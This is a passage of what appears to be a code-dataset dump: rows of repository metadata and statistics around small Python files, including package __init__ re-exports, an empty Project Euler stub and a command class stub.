] | null | null | null | app/models/__init__.py | AOSC-Dev/modern-paste | 0d47dc8911a17d84e61c14a650620a41c98b6d95 | [
"MIT"
] | null | null | null | from .attachment import *
from .paste import *
from .user import *
| 16.75 | 25 | 0.731343 | 9 | 67 | 5.444444 | 0.555556 | 0.408163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179104 | 67 | 3 | 26 | 22.333333 | 0.890909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
213bbebbc7eaa205aaf9810b3af771b403a762ae | 27 | py | Python | src/euler_python_package/euler_python/medium/p309.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | src/euler_python_package/euler_python/medium/p309.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | src/euler_python_package/euler_python/medium/p309.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | def problem309():
pass
| 9 | 17 | 0.62963 | 3 | 27 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 0.259259 | 27 | 2 | 18 | 13.5 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
dcdd4bc19a2225d4d87dd9afe6dd3e686fe7753f | 49 | py | Python | lib/python/plow/__init__.py | onexeno/plow | 5c19c78ce0579f624cc774ac260f3178286ccb07 | [
"Apache-2.0"
] | null | null | null | lib/python/plow/__init__.py | onexeno/plow | 5c19c78ce0579f624cc774ac260f3178286ccb07 | [
"Apache-2.0"
] | 3 | 2020-05-15T21:01:33.000Z | 2021-12-09T20:25:17.000Z | lib/python/plow/__init__.py | onexeno/plow | 5c19c78ce0579f624cc774ac260f3178286ccb07 | [
"Apache-2.0"
] | null | null | null | from client import JobState, TaskState, NodeState | 49 | 49 | 0.857143 | 6 | 49 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102041 | 49 | 1 | 49 | 49 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dcdfeddebdc39195032e4fba7d728a220bd745f8 | 170 | py | Python | src/CGPython/Commands/ReplaceWithCommand.py | BlackBeard98/Code-Generation | 769ef8fd9162c0fae6326dc9d08e20bb5d20c067 | [
"MIT"
] | 1 | 2021-11-03T01:24:21.000Z | 2021-11-03T01:24:21.000Z | src/CGPython/Commands/ReplaceWithCommand.py | BlackBeard98/Code-Generation | 769ef8fd9162c0fae6326dc9d08e20bb5d20c067 | [
"MIT"
] | null | null | null | src/CGPython/Commands/ReplaceWithCommand.py | BlackBeard98/Code-Generation | 769ef8fd9162c0fae6326dc9d08e20bb5d20c067 | [
"MIT"
] | null | null | null | import sys
sys.path.append("..")
from ..Modifiers import WithNode
from CodeGenerationCore import Command
class ReplaceWithCommand(Command,WithNode.WithNode):
pass
| 18.888889 | 52 | 0.788235 | 19 | 170 | 7.052632 | 0.631579 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123529 | 170 | 8 | 53 | 21.25 | 0.899329 | 0 | 0 | 0 | 0 | 0 | 0.011765 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.166667 | 0.5 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
0d2ee036fe03667608194b6fedbbc7f7af8b0c82 | 146 | py | Python | TermTk/TTkWidgets/Fancy/__init__.py | UltraStudioLTD/pyTermTk | a1e96b0e7f43906b9fda0b16f19f427919a055c2 | [
"MIT"
] | 1 | 2022-02-28T16:33:25.000Z | 2022-02-28T16:33:25.000Z | TermTk/TTkWidgets/Fancy/__init__.py | UltraStudioLTD/pyTermTk | a1e96b0e7f43906b9fda0b16f19f427919a055c2 | [
"MIT"
] | null | null | null | TermTk/TTkWidgets/Fancy/__init__.py | UltraStudioLTD/pyTermTk | a1e96b0e7f43906b9fda0b16f19f427919a055c2 | [
"MIT"
] | null | null | null | from .table import *
from .tableview import *
from .tree import *
from .treeview import *
from .treewidget import *
from .treewidgetitem import *
| 20.857143 | 29 | 0.753425 | 18 | 146 | 6.111111 | 0.444444 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164384 | 146 | 6 | 30 | 24.333333 | 0.901639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
37001565cfc17aa71458507aa02f87115a0ed714 | 212 | py | Python | aci_tasks/__init__.py | iphilpot/ACITasks | a57d2f1aab0011d8b4b5eaeb00c0f368d6b689e5 | [
"MIT"
] | null | null | null | aci_tasks/__init__.py | iphilpot/ACITasks | a57d2f1aab0011d8b4b5eaeb00c0f368d6b689e5 | [
"MIT"
] | 1 | 2021-06-02T00:43:06.000Z | 2021-06-02T00:43:06.000Z | aci_tasks/__init__.py | ianphil/ACITasks | a57d2f1aab0011d8b4b5eaeb00c0f368d6b689e5 | [
"MIT"
] | null | null | null | # from cloud import (
# ContainerInstance,
# ResourceGroup,
# ContainerGroupInstance
# )
# __all__ = [
# 'ContainerInstance',
# 'ResourceGroup',
# 'ContainerGroupInstance'
# ]
| 17.666667 | 31 | 0.59434 | 10 | 212 | 12.2 | 0.7 | 0.491803 | 0.852459 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.287736 | 212 | 11 | 32 | 19.272727 | 0.807947 | 0.84434 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.